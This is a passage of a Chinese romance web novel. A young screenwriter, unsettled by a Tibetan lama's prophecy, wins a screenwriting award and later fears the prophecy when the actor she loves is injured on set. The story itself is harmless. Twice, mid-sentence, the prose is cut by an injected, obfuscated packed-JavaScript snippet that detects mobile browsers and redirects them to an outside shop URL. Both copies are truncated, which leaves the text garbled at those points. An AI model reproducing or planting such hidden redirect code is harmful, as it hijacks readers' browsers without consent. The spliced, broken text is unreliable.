他顿了顿,看着闻朝瞬间失神的眼睛,轻叹一声,“姑娘,你眉间有慧光,心性坚韧,本是福缘深厚之人。有些相遇,或只为照亮彼此一程,而非同归。放手,有时是护己,亦是……护他。” 廊下的风忽然大了些,吹动檐角的铜铃,发出空灵而寂寥的叮咚声。远处雪山巍峨,沉默地矗立在湛蓝的天幕下。 宋枝脸上的笑容早已消失,担忧地看向闻朝。陆易安眉头紧锁,似乎想从逻辑上反驳这种玄虚的论断,却又被老喇嘛话语中那种沉重的宿命感撼动。 闻朝坐在蒲团上,感觉周身的热度都被那阵风吹散了。 老喇嘛的话,像一块冰,投入她刚刚因闺蜜调侃和旅途见闻而泛起点点暖意的心湖,寒意迅速蔓延。 沈淮时专注的侧脸,那杯温热的粥和悸动的歌词,愚人节那搁着人群的那句“有”,甚至那盏暖黄色的路灯……这些片段,此刻都蒙上了一层灰翳。 他是沈淮时,星光熠熠,却也身处漩涡中央,一举一动都被无限放大。自己呢?一个刚刚考上研的学生,仍在摸索前路的创作者。那些隐约的情愫,那些“悬而未决”,在现实的聚光灯和可能存在的“相冲”“伤损”面前,是否太过天真和沉重? 她想起他处理绯闻时的果断利落,想起他工作室声明里冰冷的措辞。那是否也是他身处其位,必须承受的“风势”?如果……如果因为自己,让他承受更多不必要的“风势”呢? “谢谢……老师傅。”闻朝站起身,声音有些飘忽。她放下随身的零钱作为供养,对老喇嘛微微躬身,然后转身,沿着来时的石阶慢慢往下走。脚步有些沉。 宋枝和陆易安赶紧跟上。宋枝挽住她的胳膊,想说什么安慰的话,却又觉得任何语言在此刻都显得无力。 陆易安抿了抿唇,低声道:“别太往心里去,这些都没有任何科学依据。” 闻朝勉强扯了扯嘴角,“我知道。”可她心里那片被西藏天空涤荡过的明朗,似乎又笼上了一层薄雾。 接下来的半天,她有些心不在焉。雄伟的寺庙建筑,精美的壁画,甚至后来在寺庙后山看到的成群放生的羊群,都未能再让她真正投入。 老喇嘛的话,像一句谶言,反复在脑海中回响。 晚上回到民宿,闻朝拿出那盏酥油灯形状的藏纸灯,点燃里面的小蜡烛。暖黄的光透过印着六字真言的纸壁,在墙上投下晃动的影子。她看着那光影,想起沈淮时发来的路灯,想起他说的“觉得你会喜欢”。 喜欢,然后呢? 手机安静地躺在一边。她没有再像前几天那样,分享今天的见闻。屏幕暗下去,映出她自己有些怔忪的脸。 也许,有些心动,只适合仰望,而非靠近取暖。若靠近的代价,是可能让他陷入逆风,折损华彩……那她宁可永远停留在“普通朋友”的距离,永远“悬而未决”。 只是,心口那微微的、清晰的涩意,又该如何安放? 宋枝和陆易安看着她沉默的背影,交换了一个担忧的眼神。旅途的欢快,似乎被寺庙廊下那一席话,悄然划开了一道看不见的裂痕。 闻朝熄了酥油灯,房间陷入柔和的黑暗。她没再碰手机,只是侧身躺下,盯着天花板朦胧的轮廓。老喇嘛的话像经幡上的符文,在脑子里反复显影——“光越亮,影越暗”。 她想起沈淮时下颌线绷紧的样子,想起他工作室声明里那句“私事占用公共资源深表歉意”,字字客气,字字疏离。那才是他的世界,一个需要时刻权衡、如履薄冰的世界。 宋枝轻轻爬上旁边的床,试探地问:“朝朝,你信了?” 闻朝在黑暗里眨了眨眼,“不全信。但他说对了一点,有些相遇,可能真的只该是一程。” “可万一他根本不在乎什么‘风势’呢?”宋枝不甘心。 “我在乎。”闻朝的声音很轻,却异常清晰,“如果他因为我,哪怕多承受一丝没必要的压力和风险……”她没有说完,但意思明明白白。 接下来几天的行程,她依然跟着宋枝和陆易安走,看雅鲁藏布江的滔滔江水,在海拔五千米的垭口挂上经幡,在牧民家里喝滚烫的酥油茶。 她拍了很多照片,甚至学着宋枝的样子,在风里大声喊过。只是那笑意总像隔着一层透明的膜,未曾真正抵达眼底。 直到回程前夜,在民宿顶楼的天台。远处布达拉宫的轮廓在夜色中如剪影,近处的街道灯火疏落。陆易安被宋枝拉下去买纪念品,只剩闻朝一个人,裹着披肩,看着拉萨的夜。 手机震了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390170|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。沈淮时的名字跳出来。 她指尖悬在屏幕上方,停顿了很久,才点开。 是一张照片。一盏孤零零的路灯,立在显然是片场临时搭建的街景里,光晕昏黄。下面跟着一行字:【刚布完景,看到这盏灯,又想到你那个。旅行顺利吗?】 她看着那行字,想象他可能在休息间隙,站在凌乱的器材和人群中,拍下这盏与他巨星身份毫不相称的普通路灯。心里那点刻意压下去的涩意,忽然翻涌得更厉害。 她没回照片。打了字,又删掉,反复几次。最后只发了很简短的一句:【明天返程了。一切都好。】 发送成功。她几乎立刻按熄了屏幕,像是怕自己后悔。将手机塞进口袋,夜风迎面吹来,带着高原特有的清冽寒意。 几乎同时,屏幕又亮了。这次是来电。他的名字在屏幕上跳动。 闻朝盯着那两个字,心脏在胸腔里沉沉地撞。铃声固执地响着,在空旷的天台上显得格外清晰。她最终,还是接了起来。 “喂?” 那边背景有些嘈杂,很快安静下来,像是他走到了僻静处。他的声音透过电波传来,比平时低一些,带着一点不易察觉的倦意,却依然清晰入耳,“怎么只回一句?照片没收到?” “收到了。”闻朝靠着天台冰凉的栏杆,望向远处深紫色的天幕,“很好看。” “是吗。”沈淮时顿了顿,“你那边风很大?” “嗯,在天台。” 短暂的沉默。听筒里只有细微的电流声,和他那边偶尔极遥远的一声模糊人语。 “闻朝,”他忽然叫她的名字,语气里褪去了随意,多了点认真,“你这两天,是不是遇到什么事了?” 她心里一跳,“怎么这么问?” “感觉。”他言简意赅,“字里行间。以前你发消息,不是这样。” 他总是这样敏锐。 闻朝握紧了手机,冰冷的金属边缘硌着掌心。她几乎要冲口而出那场占卜,那些关于“逆风”和“伤损”的预言,那些盘旋不去的忧虑。 但话到嘴边,又咽了回去。怎么说?说我怕靠近你会害了你?这听起来多么自以为是,又多么……像一种越界的试探。 “没什么,”她听到自己的声音平静得有些虚假,“就是有点累了,高原反应吧。” 沈淮时没立刻接话。过了几秒,他才说:“回去好好休息。” “好。” 又是沉默。但这次他没有挂断的意思。闻朝也没挂。他们就这样,隔着一根电话线,听着彼此那里不同的风声。 “闻朝。”他又开口,这次声音更低,几乎融进风里,“别想太多。” 她鼻尖忽然一酸,用力眨了眨眼。“……嗯。” “路上注意安全。到了告诉我。” “好。” 通话结束。忙音传来。闻朝握着发烫的手机,慢慢蹲下身,将脸埋在膝盖和臂弯里。天台的风呼啸着卷过,吹散了眼角那一点点未成形的湿意。 他察觉了。但他什么也没追问,只是让她别想太多,注意安全。这或许就是他所能给予的,最妥帖的“普通朋友”的距离。 也好。 回到房间,宋枝和陆易安已经回来了,正分拣着一堆小玩意。看到闻朝微红的眼眶,宋枝张了张嘴,最终只是递给她一杯热水。 “收拾东西吧,”闻朝接过水杯,扯出一个笑,“明天要赶早班机。” ———— 飞机冲上云霄,离开这片离天空最近的土地。舷窗外,雪山连绵,云海翻腾,壮观得令人失语。闻朝靠着窗,看着这片她曾为之惊叹的天地在脚下渐渐缩小、模糊,最终被云层覆盖。 她想起大昭寺前蒸腾的日光,想起老喇嘛清澈平静的眼睛,想起那支暗红色的旧竹签。想起天台上那通短暂而无声拉扯的电话。 有些相遇,或许真的就像掠过高山的流云。交汇时投下惊心动魄的影子,分开后,天空了无痕迹,各自飘向命定的远方。 她闭上眼睛,将毛毯拉高了一些。 飞机平稳地飞行在平流层,窗外是恒定刺目的阳光,再无风雨。 60. 我会成为更好的自己 飞机降落在熟悉的城市机场,扑面而来的是与高原截然不同的、带着潮湿与尘嚣的空气。 回到学校,生活迅速被拉回原有的轨道。研一的课程紧凑,资料文献堆积如山,仿佛西藏那十几天的放空只是一场色彩瑰丽却遥远的梦。 宋枝和陆易安偶尔会提起旅途趣事,但都默契地避开了色拉寺后山的那段插曲。 闻朝也努力将精力投入学业,只是夜深人静时,对着那盏从西藏带回、静静立在书桌一角的藏纸酥油灯,偶尔会出神片刻。 沈淮时那边,似乎也进入了新的忙碌周期。偶尔会有他的消息,关于新戏的筹备,或是深夜收工后一句简短的问候。 闻朝的回复克制而平淡,维持在“普通朋友”应有的频率和温度。那条关于“别想太多”的叮嘱,像一道无形的界限,她小心地不去逾越。 大约两周后,一个寻常的下午,闻朝正在图书馆赶一份报告。手机在桌面震动起来,屏幕上闪烁着一个陌生的固定电话号码。她以为是快递或者广告,本不想接,但电话执着地响着。她拿起手机,走到阅览室外安静的走廊。 “您好,请问是闻朝小姐吗?”电话那头是一个礼貌的女声。 “我是,您哪位?” “闻小姐您好,这里是‘金翎奖’组委会秘书处。非常荣幸地通知您,您的《骤雪止》,已成功入围本届金翎奖最佳新人编剧奖项的最终提名名单。正式的邀请函及提名证书我们将通过邮件和快递寄送给您,相关流程和颁奖典礼信息也会一并附上。恭喜您!” 对方的声音清晰悦耳,吐字标准,但闻朝却有一瞬间的恍惚,耳畔似乎只剩下“金翎奖”、“最佳新人编剧”、“提名”这几个词在嗡嗡回响,混合着图书馆走廊尽头隐约传来的翻书声,显得有些不真实。 “闻小姐?您在听吗?” “在,在的。”闻朝回过神来,深吸一口气,努力让自己的声音听起来平稳些,“谢谢。我收到了。请问……颁奖典礼是在?” “下个月十五号,地点和具体安排会在邀请函里详细说明。再次恭喜您!期待与您在颁奖典礼相见。” 挂断电话,闻朝背靠着冰凉的墙壁,握着手机的手心微微出汗。心脏后知后觉地开始加速跳动,一股混杂着巨大惊喜、难以置信和些许惶惑的热流冲上头顶。 金翎奖,即便是新人奖项,在业内也颇具认可度,是多少年轻编剧梦寐以求的起点。 金翎奖的提名像一枚投入静湖的石子,在她原本的计划之外,荡开一圈圈涟漪。祝贺的信息塞满了手机,导师、同学、旧友,甚至一些久未联系的人。 陈序导演在电话里语气激动,“小闻,提名名单我看了,实至名归!准备好去上海了吗?” 剧组的微信群也热闹非凡,大家半开玩笑地让她“苟富贵,勿相忘”。 宋枝从视频通话里探出脑袋,背景是学校的实验室,白大褂的领子还立着,“战袍!战袍定了吗?红毯造型必须想好!要不要我远程指导?” 闻朝无奈地笑,“哪有那么夸张,得体就好。” “哪里夸张!”宋枝瞪圆眼睛,“这可是金翎奖!顶级殿堂!你代表的是我们全体为纸片人哭湿枕头的人民群众!”她顿了顿,声音低了些,“而且……沈淮时也会去,对吧?你们又要同框了。” 闻朝指尖无意识地在书页上摩挲了一下,“嗯”了一声,没再多说。 宋枝察言观色,转了话题:“好好好,不提这个。总之,我的大编剧,专心准备,其他的别多想。提名就是最大的肯定!” 陆易安的消息则是一如既往的理性:【根据历年数据和评审倾向分析,你的作品在叙事完整性和社会共鸣度上具有显著优势,但资历因素确实是不确定性变量。保持平常心,提名本身已是对你能力的肯定。】 闻朝看着这些信息,心里那点因为高原占卜而笼罩的薄雾,被这些实实在在的关切和期待冲淡了些。 她开始低调地准备,礼服选了一袭深海蓝色的丝绒长裙,款式极简,剪裁流畅,没有任何冗余装饰,只配了一对小巧的珍珠耳钉。 她不想被衣饰夺去焦点,也希望这沉静的颜色能给自己一份底气。她重新翻出《骤雪止》的剧本和原著,细细回顾创作时的点点滴滴,那些深夜的辗转,那些对人物命运的揪心,那些试图捕捉人性微光的努力。 这让她逐渐平静下来,无论奖项如何,故事本身已经完成了它的使命。 出发前往上海的前一晚,沈淮时发来消息,很简单:【明天机场见?剧组一起走。】 闻朝看着那行字,想起拉萨天台那通电话,想起老喇嘛“光越亮,影越暗”的谶语。她指尖悬空片刻,回复:【好。】 ———— 颁奖礼当天,上海微雨。空气湿润,带着都市特有的躁动与华美。红毯从下午就开始铺设,媒体区早早架起了长枪短炮。 闻朝和剧组主创一同抵达,下车瞬间,炫目的闪光灯和鼎沸的人声便如潮水般涌来。她深吸一口气,挽住陈序导演的臂弯,踏上了那条光洁如镜、通往无数梦想与审视的红毯。 深海蓝的裙摆随着步伐微微摇曳,珍珠耳钉在闪光灯下折射出温润的光泽。她能听到两侧传来呼喊她名字的声音,也能捕捉到一些低声的议论和探究的目光。她保持着得体的微笑,目光平静地望向镜头和人群,手心却微微汗湿。 这个世界,与她熟悉的书斋和校园,是如此不同。 沈淮时走在她斜前方几步。他穿着一身剪裁极佳的黑色西装,身姿挺拔,侧脸在强光下轮廓分明,神情是惯有的从容淡漠,只有在偶尔与熟悉的媒体眼神交汇时,才会极轻微地颔首示意。 他似乎自带一种气场,将周遭的喧嚣隔开些许。在一个定点拍照的间隙,他不动声色地放缓脚步,等她走近,声音压得很低,只有她能听清:“裙子很衬你。不用紧张,就当来见证一个结果。” 他的语气平稳,带着一种奇异的力量。 闻朝轻轻“嗯”了一声,那颗微微悬起的心,似乎落回了实处。那一刻,她瞥见他转回去的侧影,灯光在他睫毛上投下浅浅的阴影,那专注望着前方红毯尽头的眼神里,似乎也凝着一丝不同往日的期待。 进入内场,气氛庄重而热烈。水晶灯折射着璀璨光华,衣香鬓影,觥筹交错。 当红艺人、知名导演、制片人济济一堂,低声寒暄与笑语不断。 闻朝被安排在《骤雪止》剧组区域,左边是陈序导演,斜前方隔着几人,是沈淮时。她坐下,能感觉到来自不同方向的视线,好奇的、审视的、善意的、复杂的。她挺直背脊,目光落在舞台中央那座熠熠生辉的金翎奖杯模型上。 典礼进程按部就班。开场表演,嘉宾致辞,一个个奖项揭晓。掌声、欢呼、获奖者或激动或哽咽的感言,交织成这个名利场特有的交响。 闻朝静静看着,为每一位获奖者鼓掌。《骤雪止》率先拿下“最佳摄影”和“最佳音乐”,剧组区域的气氛愈发高涨。 随后揭晓的是表演类奖项。 “最佳男主角”的颁奖嘉宾是两位重量级影帝。大屏幕上依次播放提名者的精彩片段。当沈淮时在《骤雪止》中那个于暴风雪夜濒临崩溃、却又在绝望深处迸发出惊人生命力的长镜头特写出现时,现场响起一阵低低的赞叹。镜头切到沈淮时本人,他面色平静,只有微微收紧的下颌线泄露出一丝紧绷。 颁奖嘉宾打开信封,顿了顿,目光扫过台下,清晰念出:“获得本届金翎奖最佳男主角的是——沈淮时,《骤雪止》!恭喜!” 掌声与欢呼瞬间炸响! 《骤雪止》剧组众人激动地起身祝贺。沈淮时在瞬间的怔忡后,起身,与身旁的陈序导演紧紧拥抱,又与其他同事握手。 经过闻朝身边时,他的脚步几不可察地停顿了半秒,目光与她相遇。那一眼很短,却仿佛有千言万语,但他很快移开视线,稳步走向舞台。 他的获奖感言简洁而有力,感谢了导演、剧组、粉丝,最后,他握着奖杯,目光投向《骤雪止》剧组的方向,特意说道:“这个角色,诞生于一个优秀的故事和精彩的剧本之上。感谢编剧闻朝,她笔下的人物层次与情感张力,给予了演员丰沛的土壤去挖掘和生长。这份荣誉,同样属于故事的创造者。” 镜头适时给到闻朝特写,她微微颔首,报以真诚的微笑。场内掌声再次响起,带着对才华与合作的赞许。 沈淮时的获奖,像一剂强心针,也让闻朝的心绪更加复杂。她为他高兴,这是对他专业能力的至高肯定。同时,那份一直潜藏的压力,也悄然加重。如果《骤雪止》的表演得到了认可,那么作为故事源头的编剧,又会得到怎样的评价? 终于,轮到“最佳编剧”奖。 颁奖嘉宾是两位著作等身、德高望重的老牌编剧前辈。大屏幕开始播放提名作品片段。当《骤雪止》的片段出现时,闻朝看到了自己笔下那些文字转化成的画面:寂静的雪原,昏暗房间里的对峙,人物眼角细微的颤动,还有沈淮时饰演的男主角那段穿透风雪、直抵人心的独白…… 这些她曾无数次琢磨、修改的细节,此刻被如此精致地呈现于大庭广众之下。她心跳如擂鼓,指尖冰凉。 嘉宾拆开金色信封,抽出卡片。全场寂静。 “获得本届金翎奖最佳编剧的是——” 时间仿佛被无限拉长。闻朝能听到自己血液流动的声音。 “《骤雪止》,闻朝!恭喜!” “轰——!” 掌声、欢呼声、镁光灯的爆闪瞬间将她淹没! 陈序导演第一个大力拍她的肩膀,声音激动,“小闻!实至名归!” 周围剧组的同事纷纷涌过来祝贺。世界在瞬间变得喧闹而模糊,只有心脏剧烈搏动的感觉无比真实。 她站起身,腿有些发软,但脊背挺得笔直。她下意识地,在掠过的无数面孔中,精准地捕捉到了斜前方那道目光。沈淮时已经坐回位置,此刻正转过身,定定地望着她。 他脸上没有太多表情,但那双总是沉静如深潭的眼眸里,清晰地映着舞台的流光,以及一种毫不掩饰的、为她感到骄傲的欣然,还有……一种近乎笃定的“理应如此”。他极轻微地对她点了点头。 这个细微的动作,奇异地给了她力量。 闻朝在工作人员的引导下,走上那片星光熠熠的舞台。高跟鞋踩在光滑的地板上,发出清晰的声响。从颁奖前辈手中接过那座沉甸甸的、造型优美的金翎奖杯,冰凉的金属触感让她瞬间清醒。 她站在话筒前,调整了一下呼吸。台下是黑压压的人群和无数闪烁的镜头,那里有赞赏,有审视,有期待,也有未知的评判。但她此刻心中一片澄明。 “谢谢金翎奖,谢谢各位评委,给予《骤雪止》这个故事,给予我这个新人编剧如此厚重的肯定。”她的声音通过麦克风传遍会场,清晰,稳定,带着一丝不易察觉的颤抖,却更显真挚。 “感谢陈序导演,是您的信任和指引,让一个文字故事有机会生长成光影。感谢《骤雪止》剧组每一位优秀的演员和工作人员,是你们所有人的才华、心血与热爱,共同铸就了银幕上的那个世界。”她的目光扫过剧组区域,在那里停留片刻。 “尤其要感谢沈淮时先生。”她望向他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻朝努力保持着镇定,回答尽量围绕作品和专业。沈淮时那边同样被重重包围,但他似乎总能分神留意她的方向。 当有记者提出一个略显尖锐、关于“资历与奖项是否相称”的问题时,闻朝尚未开口,几步之外的沈淮时却自然而然地接过了话头,语气平淡却不容置疑,“奖项评判的是作品当下的质量与影响力,而非资历簿。金翎奖的公正性有目共睹。闻朝编剧的才华和付出,在《骤雪止》中已经得到充分证明。”他将焦点拉回专业领域,巧妙地化解了尴尬。 庆功宴上,香槟摇曳,人影交错。闻朝被一波波前来祝贺的人包围,有真诚的前辈,有客套的同行,也有好奇的打量。 她有些不适应这样的应酬,但尽量得体地周旋。沈淮时同样被众人环绕,但他始终没有离她太远,总在她似乎有些应接不暇时,恰好出现在附近,或是与某人交谈时自然地将她纳入对话圈,无形中为她隔开了些许过于密集的关注。 宴会稍歇间隙,他拿着一杯温水,走到露台边独自站着的闻朝身边,递给她,“喝点水。说了很多话。” “谢谢。”闻朝接过,水温透过杯壁传来暖意。夜风拂过,吹散了些宴会的燥热。两人并肩望着远处上海的璀璨夜景,一时无话。 闻朝轻声道:“还是觉得……像梦一样。” “不是梦。”沈淮时的声音低沉,落在寂静的露台格外清晰,“是你应得的。故事的力量,他们看到了。” 闻朝转头看他。他侧脸映着城市的霓虹,轮廓分明,眼神却落在远处的虚空,带着一种经过喧嚣沉淀后的平静。“感言很好。‘起点’,这个说法很好。” “我只是……说出了真实的想法。”闻朝忽然想起领奖时,那几乎让她错愕的重量,“它很重。” “嗯。荣誉的重量。但它只是你路上的一块碑石,不是枷锁,也不该是终点。”他顿了顿,目光重新落回她脸上,那双深邃的眼眸在夜色中格外明亮,“闻朝,继续写你的故事。别的,不用多想。” 他的话总是这样,简洁,却总能击中她心中最在意的部分。他是在告诉她,也像是在提醒自己。奖项的光环之下,他们各自的道路,依然漫长。 闻朝缓缓点头,“我明白。” 庆功宴尾声,闻朝终于得以脱身,回到酒店房间。关上门,隔绝了外界的喧嚣,世界骤然安静下来。她将奖杯放在桌上。金翎奖杯在灯光下流转着温润而耀眼的光芒。 她看了很久,然后拿出手机,拍下照片,发给了父母,发给了宋枝和陆易安。 宋枝的电话几乎是秒到,她的声音带着压抑不住的哭腔和笑意,“朝朝!我看到直播了!你太棒了!真的太棒了!感言说得太好了!我在宿舍差点叫出来!我就知道!你值得!你们都值得!” 陆易安的消息紧随其后:【获奖是极小概率事件,但你的作品质量使其成为高概率区间内的必然结果,衷心祝贺。另,宋枝可能过于激动,已建议她进行深呼吸平复心率。】 闻朝看着手机屏幕,眼眶微微发热。那些围绕奖项的纷扰、压力、审视,在这一刻,都被挚友纯粹而热烈的喜悦冲刷殆尽。她不是独自一人站在领奖台上,她的身后,始终有这些最坚实的支撑。 她走到窗边,望向不夜城的辉煌灯火。手机又震了一下,是沈淮时发来的,只有两个字:【恭喜。】 简洁一如往常。但在这个夜晚,这两个字似乎又有了不同的重量。 闻朝回复:【谢谢。也恭喜你。】 她放下手机,重新看向窗外的世界。城市的夜空没有高原那样璀璨的星河,却有另一种人间烟火的绚烂与真实。 61. 怕那谶语成真 回到学校附近租住的公寓,日子被论文开题、导师会面和图书馆的固定座位迅速填满。 西藏的一切,偶尔在深夜独自对着电脑时,会从记忆边缘泛起一丝带着酥油和风沙气息的涟漪,但很快又被文献铅字与键盘敲击声覆盖。 宋枝学医,课业繁重,仍常拉陆易安过来,试图用火锅、新电影和周末市集的热闹驱散她身上那股沉静气息。 闻朝配合地笑,参与讨论,甚至会在宋枝调侃陆易安的学术用语时精准补刀,看起来和从前没什么不同。只是她不再主动提起那个名字,不再下意识地刷相关新闻。 直到初冬某个阴冷的傍晚,距离获奖已过去月余。闻朝刚从导师办公室出来,怀抱着一叠需要精读的文献,走向地铁站。手机震动,是宋枝,语气罕见地有点急,“朝朝,你看热搜了吗?” “没,怎么了?” “沈淮时……剧组那边好像出了点事,说是拍摄事故,有人员受伤,现在消息有点乱……” 闻朝脚步猛地顿住。图书馆前宽阔的石阶上,人流从她身边擦过,嘈杂声忽然变得遥远模糊。她听见自己的心跳,在冷冽空气里沉重地擂了一下。 “……严重吗?”她听到自己问,声音干涩。 “还不知道详情,只说送医院了,粉丝那边都炸了……链接发你了,别太担心,可能只是小意外……”宋枝后面的话,闻朝没太听清。 她挂断电话,站在原地,手指僵硬地点开链接。娱乐新闻标题触目惊心,配图是混乱片场外围和模糊的救护车影子。关键词条后面跟着暗红色的“爆”字。 报道语焉不详,只说在拍摄一场高难度夜戏时发生意外,有演员受伤送医,剧组暂未透露具体细节。 评论区早已沸腾。闻朝一条条快速下滑,指尖冰凉,试图从碎片信息里拼凑真相。她翻到某个自称“现场工作人员”的小号含糊爆料,说受伤的是男主,因为威亚或爆破出了问题…… 威亚?爆破? 她眼前蓦地闪过老喇嘛平静无波的眼睛,和那句“风势骤急,易折高木”。 嗡—— 闻朝盯着那个名字,心跳漏了一拍。她走到路边一棵掉光了叶子的银杏树下,避开人流,接起。 “喂?” “是我。”沈淮时的声音传来,比平时更哑,背景异常安静,隐约有仪器规律的滴答声。 闻朝呼吸一滞:“……你怎么样?”她尽量让声音平稳,攥着手机的手指关节却微微发白。 “没事,”他答得很快,语气里带着刻意放松的疲惫,“擦破点皮,媒体喜欢夸大其词。” 可那背景音……是医院。 “真的?”她追问,声音泄露了一丝紧绷。 电话那头沉默了两秒。“真的。”他声音低了些,“就是……可能得休息几天,耽误进度了。” 闻朝靠向粗糙的树干,闭上眼。擦破皮需要待在那种有仪器声的病房吗?他轻描淡写的语气,反而像一根细针,刺破了她这些天努力维持的平静假象。 “你助理呢?团队怎么说?”她问。 “都在处理。”他又顿了一下,似乎轻轻吸了口气,“刚看到新闻乱成那样,怕你……看到乱想。” 怕她乱想。 闻朝喉咙发紧。那句话几乎要冲口而出:是不是因为我?是不是这所谓的“逆风”,已经开始应验? 但她死死咬住了下唇。不能问。这种问题,荒诞,且残忍。 “看到新闻了,”她最终只是说,声音有些沙哑,“你没事就好。” “嗯。”他应了一声,然后又是沉默。仪器规律的滴答声,像某种倒计时。 “闻朝,”他忽然又叫她,声音透过电波,带着一种罕见的、近乎脆弱的清晰,“获奖之后……你好像更忙了。” 她没料到他会在此刻,此情此景下,说起这个。 “嗯,课业和新的构思,都挺占时间。”她斟酌着用词。 沈淮时没再说什么。他好像轻轻笑了一下,很短促,带着点说不出的涩意。“好。那你……忙你的。注意休息。” 通话结束。闻朝握着手机,在银杏树下站了很久。初冬的风刮过光秃秃的枝丫,发出呜呜声响。 她没有立刻离开,任由冷风吹透大衣。路灯次第亮起,在暮色中晕开昏黄的光。 刚结束实验匆匆赶来的宋枝,裹着厚围巾气喘吁吁找到她时,看到她脸色苍白地站在那里,眼神空茫。 “问清楚了吗?他怎么样?”宋枝急问。 闻朝抬起眼,睫毛上似乎凝着一点湿意。“他说没事。”她喃喃道,目光却落在远处马路上汇成河流的车灯上,“可是枝枝……我心里很慌。” 怕那谶语成真。 怕自己真的是那不祥的阴影。 怕这场清醒的远离,终究还是没能避开那所谓的“伤损”。 夜色彻底笼罩下来,城市灯火通明。远处某栋大厦的巨屏上,恰好闪过沈淮时代言的品牌广告。他在屏幕里从容微笑,光芒万丈,与电话里那沙哑疲惫的声音,仿佛是两个截然不同的人。 闻朝在寒风里打了个寒颤,紧紧抱住了怀中的文献。纸张的边缘硌着掌心,带来一丝清醒的痛感。 她终究没有把心底最深的恐惧说出口。有些担忧,一旦诉诸言语,便仿佛有了形状和重量,会压垮此刻勉强维持的平衡。 “走吧,”她对宋枝说,声音恢复了平静,“回去了。” 两人并肩走入地铁站拥挤的人流,仿佛什么也没有改变。只有闻朝自己知道,心底某个角落,那层自西藏归来后便小心翼翼加固的冰壳,在这一通电话后,悄然裂开了一道细微的缝。 寒意,正从那里丝丝渗入。 闻朝没有立刻回公寓,而是拉着宋枝在学校附近一家通宵营业的咖啡馆坐了下来。暖气开得很足,玻璃窗上蒙着一层白雾,隔开了外面湿冷的冬夜。 宋枝给她点了杯热可可,推到她面前。 “先暖暖,”宋枝看着闻朝依旧没什么血色的脸,小心翼翼地问,“他……电话里具体怎么说的?伤得重不重?” 闻朝双手捧着温热的马克杯,汲取着那点可怜的热度。“就说擦破皮,休息几天。但我听见背景有医院仪器的声音。”她顿了顿,“而且他声音很累,不是平时那种累。” “也许真就是擦伤,但场面混乱,去医院做个全面检查也正常。”宋枝试图往好的方面想,“他们那种拍戏,磕磕碰碰难免的,之前不也有过类似报道?最后都没大事。” “不一样。”闻朝声音很轻,眼睛看着杯中深褐色的液体,“枝枝,你还记得西藏那个喇嘛的话吗?” 宋枝脸色一僵,想说什么,又咽了回去。她当然记得,那些关于“逆风”、“伤损”、“光影相逐”的话,当时听得她心里都发毛。 “我知道你想说什么,易安肯定又要搬出概率学和 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她放下杯子,指尖无意识地摩挲着杯沿。“可今天这个电话,突然就把那层自我说服的薄纸捅破了。听到他声音的那一刻,听到他背景里医院的动静,我脑子里第一个冒出来的念头,不是‘希望他没事’,而是……”她深吸一口气,声音微微发颤,“‘是不是因为我?’” “这跟你有什么关系!”宋枝急了,“那是意外!是剧组安全工作没到位!怎么也怪不到你头上!” “理智上我当然知道。”闻朝苦笑,“可情感上,那个预言像种子一样埋下了。它让我产生一种近乎……迷信的恐惧。怕自己的存在,自己的心意,哪怕只是藏得好好的,也会变成一种无形的诅咒,给他带去不好的影响。” 她看向窗外被霓虹染红的夜色,“这大概就是所谓的心魔吧。明知不理性,却挣脱不了。我只是……控制不住会去想,如果他真的因为我……” “没有如果。”宋枝打断她,语气坚决,“退一万步说,就算真有什么我们无法理解的力量,那也不是你的错。你什么都没做,只是……只是认识了一个人而已。” 认识了一个人而已。可这个人,是沈淮时。是站在聚光灯下,万众瞩目,也注定要承受更多目光和风险的人。她的靠近,哪怕再微小,是否也在无形中扰动了他周围原本就复杂的气流? 咖啡馆里轻柔的背景音乐流淌着,衬得她们的角落更加寂静。 宋枝看着好友眼下的青黑和眉宇间挥之不去的倦色,心疼不已。她知道闻朝看着沉静,实则内心敏感又执拗,一旦钻进某个牛角尖,很难轻易出来。 “那……你现在打算怎么办?”宋枝问,“总不能因为这个,就真的……断绝往来吧?你们还有工作联系,而且沈淮时他……他对你也……” 她没说完,但意思很明显。 “我不知道。”闻朝实话实说,疲惫地揉了揉眉心,“我暂时不知道该怎么面对他。装作若无其事地继续‘普通朋友’的交往?我做不到。彻底疏远?又显得此地无银,而且……太刻意了,反而奇怪。” 她顿了顿,“也许,我需要一点时间,重新……放正一下自己的心态。把那些不该有的担忧和恐惧,一点点剥离掉。至少,不能让它们影响我正常的判断和行为。” “那你要告诉他你的这些……想法吗?”宋枝犹豫着问。 闻朝立刻摇头,“不要。这只会平添他的困扰,没有任何意义。” 她想起电话里沈淮时最后那句关于“更忙了”的话,那或许也是一种试探,一种隐晦的对于近期疏远的疑问。但她不能回应,至少现在不能。 62. 我只是……赌不起 任何可能伤…… 接下来的几天,闻朝强迫自己回到原有的生活节奏。上课,泡图书馆,准备开题报告,偶尔和宋枝、陆易安碰面吃饭。 她不再主动搜索任何关于沈淮时剧组事故的后续消息,但网络信息无孔不入。 几天后,沈淮时工作室发布了一份详细的官方通报,说明事故原因是现场一处临时搭建的景片意外倾倒,导致沈淮时躲避时扭伤了手踝,并有轻微擦伤,经检查已无大碍,但需要休养一周。通报措辞严谨,态度诚恳,并再次强调了剧组安全第一的原则。 看到这份通报,闻朝悬着的心才稍稍落地。扭伤手踝,虽然也需要休养,但比起之前各种揣测的威亚、爆破事故,后果显然轻得多。理智告诉她,这确实更像一次普通的、可控的意外。 